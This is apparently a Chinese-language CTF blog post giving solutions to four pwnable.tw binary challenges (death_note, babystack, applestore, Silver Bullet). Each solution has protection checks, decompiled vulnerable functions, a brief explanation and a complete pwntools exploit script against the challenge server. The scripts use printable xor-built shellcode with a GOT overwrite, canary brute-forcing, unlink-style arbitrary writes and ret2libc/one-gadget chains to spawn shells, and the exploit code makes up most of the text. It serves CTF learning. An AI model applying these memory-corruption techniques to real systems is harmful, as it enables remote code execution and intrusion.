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pwnable.tw 一些题解
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death_note

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[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/death_note/death_note'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

idea

I386 架构的程序，有 rwx 段，那 8 成应该会有写 shellcode 的操作。漏洞在数组越界，可以改写 got 表来控制程序流。v1 可控并且只要求 v1 大于 10，那么可以向上写越界（负数）。关键就是我们的输入必须是 printable，意味着我们的 shellcode 必须是 0x1f<shellcode<0x7f 之间。

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unsigned int add_note()
{
  int v1; // [esp+8h] [ebp-60h]
  char s; // [esp+Ch] [ebp-5Ch]
  unsigned int v3; // [esp+5Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  v1 = read_int();
  if ( v1 > 10 )
  {
    puts("Out of bound !!");
    exit(0);
  }
  printf("Name :");
  read_input(&s, 0x50u);
  if ( !is_printable(&s) )
  {
    puts("It must be a printable name !");
    exit(-1);
  }
  note[v1] = strdup(&s);
  puts("Done !");
  return __readgsdword(0x14u) ^ v3;
  }

难点其实是造出来 int 0x80（\xcd\x80），这个可以通过 xor 来获得。用 0 号，ecx 的偏移可控，只需要让 ecx 指向堆地址即可，free 的时候恰好有一个指针在堆上作为 free 的参数，这个指针在栈上，可以利用。 特别的是\x80 需要 2 次 xor 才可以得到。有了 int 0x80 我们就可以做一个 sys_read 来正常的读 shellcode 到堆上，计算好偏移放到 int 0x80 后面就行了。

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❯ cat op | grep xor
0   30 41 42                xor    BYTE PTR [ecx+0x42],al
1   31 41 42                xor    DWORD PTR [ecx+0x42],eax
2   32 41 42                xor    al,BYTE PTR [ecx+0x42]
3   33 41 42                xor    eax,DWORD PTR [ecx+0x42]
4   34 41                   xor    al,0x41
5   35 41 42 43 44          xor    eax,0x44434241

exp

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from pwn import *

if __name__ == '__main__':        
    context.log_level = 'debug'
    context.arch = 'i386'
    LOCAL = 0
    DEBUG = 0

    # functions for quick script
    s       = lambda data               :t.send(str(data))       
    sa      = lambda delim,data         :t.sendafter(str(delim), str(data)) 
    sl      = lambda data               :t.sendline(str(data)) 
    sla     = lambda delim,data         :t.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :t.recv(numb)
    ru      = lambda delims, drop=True  :t.recvuntil(delims, drop)
    rn      = lambda numb               :t.recvn(numb)
    irt     = lambda                    :t.interactive()

    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, b'\0'))
    uu64    = lambda data   :u64(data.ljust(8, b'\0'))
    leak    = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
    # x64 below
    #16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

    #18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

    if LOCAL:
        #t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
        t = remote('10.211.55.13', 9999)
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        t = remote('chall.pwnable.tw', 10201)
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    


    def debug():
        raw_input('go?')


    def add(index, name):
        sla('Your choice :', '1')
        sla('Index :', index)
        sla('Name :', name)

    def free(index): 
        sla('Your choice :', '3')
        sla('Index :', index)


    payload = 'YYjAX4AH' # ecx = heap eax = 0xffffffff
    payload += '0A@' # make \xcd
    payload += '49'  # make \x80 with 0xff ^ '9' ^ 'F'
    payload += '0AA' # make \x80
    payload += 'jAX4A'
    payload += '@' * 3 # inc eax
    payload += 'joZ'  # edx = ord('o')
    #payload += 'H' * 29
    payload = payload.ljust(48,'Q')
    payload += '2F'
    print(disasm(payload))
    add(0,'aaaa')
    add(-19,payload)
    #debug()
    free(0)
    print len(payload)
    shellcode = asm(shellcraft.sh())
    #debug()
    s(cyclic(66) + shellcode)
    irt()

babystack

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❯ checksec babystack
[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/babystack/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开，分析一下程序。主要的逻辑就是在初始化的时候会生成一个 0x10 大小的随机数，然后作为 canary。在 login 的时候会比较这个随机数，如果正确就会把 unk_202014 这个 bss 段的值设置为非 0 这样就可以使用 copy 功能了。在 login 中比较这个随机数是用的 strncmp 计算我们字符串的长度是 strlen。这两个都是遇到 \x00会停止，不会计算和比较后面的东西，当然可以直接用这个 trick 去过。 copy 和 login 用的是一个栈空间，并且在返回到 main 的时候没有处理，这样就造成了溢出。 但是在 ret 的时候会校验这个 canary（ if ( memcmp(&buf, qword_202020, 0x10uLL) )）, 所以还是需要爆破出来的。

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__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rcx
  __int64 v4; // rdx
  char v6; // [rsp+0h] [rbp-60h]
  __int64 buf; // [rsp+40h] [rbp-20h]
  __int64 v8; // [rsp+48h] [rbp-18h]
  char v9; // [rsp+50h] [rbp-10h]

  set_env();
  dword_202018[0] = open("/dev/urandom", 0);
  read(dword_202018[0], &buf, 0x10uLL);
  v3 = qword_202020;
  v4 = v8;
  *(_QWORD *)qword_202020 = buf;
  v3[1] = v4;
  close(dword_202018[0]);
  while ( 1 )
  {
    write(1, ">> ", 3uLL);
    _read_chk(0LL, &v9, 16LL, 16LL);
    if ( v9 == '2' )
      break;
    if ( v9 == '3' )
    {
      if ( unk_202014 )
        sub_E76(&v6);
      else
        puts("Invalid choice");
    }
    else if ( v9 == '1' )
    {
      if ( unk_202014 )
        unk_202014 = 0;
      else
        sub_DEF((const char *)&buf);
    }
    else
    {
      puts("Invalid choice");
    }
  }
  if ( !unk_202014 )
    exit(0);
  if ( memcmp(&buf, qword_202020, 0x10uLL) )
    JUMPOUT(loc_100B);
  return 0LL;
}

exp

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from pwn import *

if __name__ == '__main__':        
    context.log_level = 'debug'
    context.arch = 'amd64'
    LOCAL = 0 
    DEBUG = 0

    # functions for quick script
    s       = lambda data               :t.send(str(data))       
    sa      = lambda delim,data         :t.sendafter(str(delim), str(data)) 
    sl      = lambda data               :t.sendline(str(data)) 
    sla     = lambda delim,data         :t.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :t.recv(numb)
    ru      = lambda delims, drop=True  :t.recvuntil(delims, drop)
    rn      = lambda numb               :t.recvn(numb)
    irt     = lambda                    :t.interactive()

    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    leak    = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
    # x64 below
    #16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

    #18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

    if LOCAL:
        #t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
        t = remote('10.211.55.13', 9999)
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        t = remote('chall.pwnable.tw', 10205)
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    


    def debug():
        raw_input('go?')



    def login(content):
        sla('>> ', '1')
        sa('passowrd :',content)


    def copy(content):
        sla('>> ', '3')
        sa('Copy :',content)




    def canary(gs):
        for j in range(0x1,0x100):
            payload = gs + p16(j)
            login(payload)
            resopnse = t.recvline()
            if len(resopnse) == 16:
                gs += p16(j)
                sa('>> ', '1')
                return gs



    debug()
    gs0 = ''
    gs1 = ''
    gs2 = ''
    #canary()
    gs0 = canary(gs0)[0:1]
    gs1 = gs0 + gs1
    tmp = canary(gs1)[0:2]
    tmp = canary(tmp)[0:3]
    tmp = canary(tmp)[0:4]
    tmp = canary(tmp)[0:5]
    tmp = canary(tmp)[0:6]
    tmp = canary(tmp)[0:7]
    tmp = canary(tmp)[0:8]
    #gs = u64(tmp)
    tmp = canary(tmp)[0:9]
    tmp = canary(tmp)[0:10]
    tmp = canary(tmp)[0:11]
    tmp = canary(tmp)[0:12]
    tmp = canary(tmp)[0:13]
    tmp = canary(tmp)[0:14]
    tmp = canary(tmp)[0:15]
    tmp = canary(tmp)[0:16]
    canary_0 = u64(tmp[0:8])
    canary_1 = u64(tmp[8:16])
    log.info(hex(canary_0))
    log.info(hex(canary_1))
    debug()
    login(p64(canary_0) + p64(canary_1) + '\x00'+ cyclic(46)  + '\xff' + p64(canary_0) + p64(canary_1) + '1' * 8)
    copy(cyclic(63))
    sa('>> ', '1')
    tmp = tmp + '1' + '\x0a' + '1' * 6 
    tmp = canary(tmp)[0:25]
    tmp = canary(tmp)[0:26]
    tmp = canary(tmp)[0:27]
    tmp = canary(tmp)[0:28]
    tmp = canary(tmp)[0:29]
    tmp = canary(tmp)[0:30]
    addr_libc = uu64(tmp[24:30]) - 0x6fe70 - 324
    leak('addr_libc', addr_libc)
    magic = addr_libc + 0x45216
    login(p64(canary_0) + p64(canary_1) + '\x00'+ cyclic(46)  + '\xff' + p64(canary_0) + p64(canary_1) + cyclic(24) + p64(magic))
    copy(cyclic(63))
    sla('>> ', '2')
    irt()

applestore

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[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/applestore/applestore'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

保护情况如上，漏洞在 checkout 的时候，如果 v1 ==7174，那么就会把 iphone 8 的结构体写到栈中，而我们可以在 my_read(&buf, 0x15u); 时可以溢出到这个结构体，这样把 got 表溢出到相应的指针处就会造成信息泄漏。

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unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

在 delete 中实现了类似 unlink 的操作，既然我们可以控制 iphone 8 的结构体那么自然可以达到任意地址写。

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unsigned int delete()
{
  signed int v1; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int v3; // [esp+18h] [ebp-30h]
  int v4; // [esp+1Ch] [ebp-2Ch]
  int v5; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  v1 = 1;
  v2 = (_DWORD *)dword_804B070;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  v3 = atoi(&nptr);
  while ( v2 )
  {
    if ( v1 == v3 )
    {
      v4 = v2[2];
      v5 = v2[3];
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4;
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
      printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++v1;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

exp

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from pwn import *

if __name__ == '__main__':        
    context.log_level = 'debug'
    context.arch = 'amd64'
    LOCAL = 0
    DEBUG = 0

    # functions for quick script
    s       = lambda data               :t.send(str(data))       
    sa      = lambda delim,data         :t.sendafter(str(delim), str(data)) 
    sl      = lambda data               :t.sendline(str(data)) 
    sla     = lambda delim,data         :t.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :t.recv(numb)
    ru      = lambda delims, drop=True  :t.recvuntil(delims, drop)
    irt     = lambda                    :t.interactive()

    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    leak    = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
    # x64 below
    #16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

    #18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

    if LOCAL:
        #t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
        t = remote('10.211.55.13', 9999)
        elf = ELF('./applestore')
        libc = ELF('libc_32.so.6')
    else:
        t = remote('chall.pwnable.tw', 10104)
        elf = ELF('./applestore')
        libc = ELF('libc_32.so.6')
    
    


    def debug():
        raw_input('go?')


    def add(size):
        sla('> ',2)
        sla('> ',size)



    def delete(index):
        sla('> ',3)
        sla('> ',index)


    def check():
        sla('> ',5)
        sla('> ','y')


    def show(payload):
        sla('> ',4)
        sa('> ',payload)



    for i in range(20):
        add(2)

    for i in range(6):
        add(1)
    debug()
    check()
    #payload = 'y' + '\x00' + cyclic(19)
    payload = 'y' + '\x00' + p32(elf.got['atoi']) + '\x00' * 15
    show(payload)
    ru('27: ')
    addr_libc = uu32(t.recvn(4)) - libc.symbols['atoi']
    leak('addr_libc', addr_libc)
    payload = 'y' + '\x00' + p32(addr_libc + libc.symbols['environ']) + '\x00' * 15
    show(payload)
    ru('27: ')
    addr_stack = uu32(t.recvn(4))
    leak('addr_stack', addr_stack)
    addr_ebp = addr_stack - 0x104
    payload = '27' + p32(0) + p32(0) +  p32(elf.got['atoi'] + 0x22)+ p32(addr_ebp - 0x8)
    delete(payload)
    ru('> ')
    sl(p32(addr_libc + libc.symbols['system']) + ';$0')
    irt()

Silver Bullet

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[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/silver_bullet/silver_bullet'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

在 power_up 中可以修改 silver bullet 的长度，而这个长度就是在栈上的一个值（(_DWORD *)dest + 12） 反汇编看其实就是我们的输入加 0x30 （mov [eax+30h], edx）。而程序用的是 strncat 这个函数修改的字符串，这个函数会在末尾加 \x00，可以第一次写一个字符串长度为a，第二次在power_up中写 48 - a 大小的字符串，这样就会把 (DWORD *)dest + 12 的值写为 48 -a 。那么就可以溢出了，但是要控制返回地址必须让 beat 返回 1，在栈上构造 0xff 这种字符就可以了

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int __cdecl power_up(char *dest)
{
  char s; // [esp+0h] [ebp-34h]
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(&s, 0, 0x30u);
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 0x2Fu )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&s, 48 - *((_DWORD *)dest + 12));
  strncat(dest, &s, 48 - *((_DWORD *)dest + 12));
  v3 = strlen(&s) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", v3);
  *((_DWORD *)dest + 12) = v3;
  return puts("Enjoy it !");
}

exp

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from pwn import *

if __name__ == '__main__':        
    context.log_level = 'debug'
    context.arch = 'amd64'
    LOCAL = 1
    DEBUG = 0

    # functions for quick script
    s       = lambda data               :t.send(str(data))       
    sa      = lambda delim,data         :t.sendafter(str(delim), str(data)) 
    sl      = lambda data               :t.sendline(str(data)) 
    sla     = lambda delim,data         :t.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :t.recv(numb)
    ru      = lambda delims, drop=True  :t.recvuntil(delims, drop)
    irt     = lambda                    :t.interactive()

    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
    # x64 below
    #16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

    #18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

    if LOCAL:
        #t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
        t = remote('chall.pwnable.tw', 10103)
        elf = ELF('silver_bullet')
        libc = ELF('libc_32.so.6')
    else:
        t = remote('ip', 1337)
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    

    got_puts = elf.got['puts']
    plt_puts = elf.plt['puts']
    def debug():
        raw_input('go?')


    def add(content):
        sla('choice :', '1')
        sla('bullet :', content)

    def edit(content):
        sla('choice :', '2')
        sla('bullet :', content)

    def beat():
        sla('choice :', '3')


    debug()
    add(cyclic(46))
    edit('0000')
    edit(cyclic(7) + p32(plt_puts) + p32(0x8048954) + p32(got_puts))
    beat()
    beat()
    ru('You win !!\n')
    addr_puts = uu32(t.recvn(4))
    leak('addr_puts', addr_puts)
    libc = addr_puts - libc.symbols['puts']
    leak('addr_libc', libc)
    magic = libc + 0x3a819
    add(cyclic(46))
    edit('0000')
    edit(cyclic(7) + p32(magic) + p32(0x8048954))
    beat()
    beat()
    irt()
Author: CarlStar
Link: http://yoursite.com/2020/03/11/tw/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
pwn pwnable.tw
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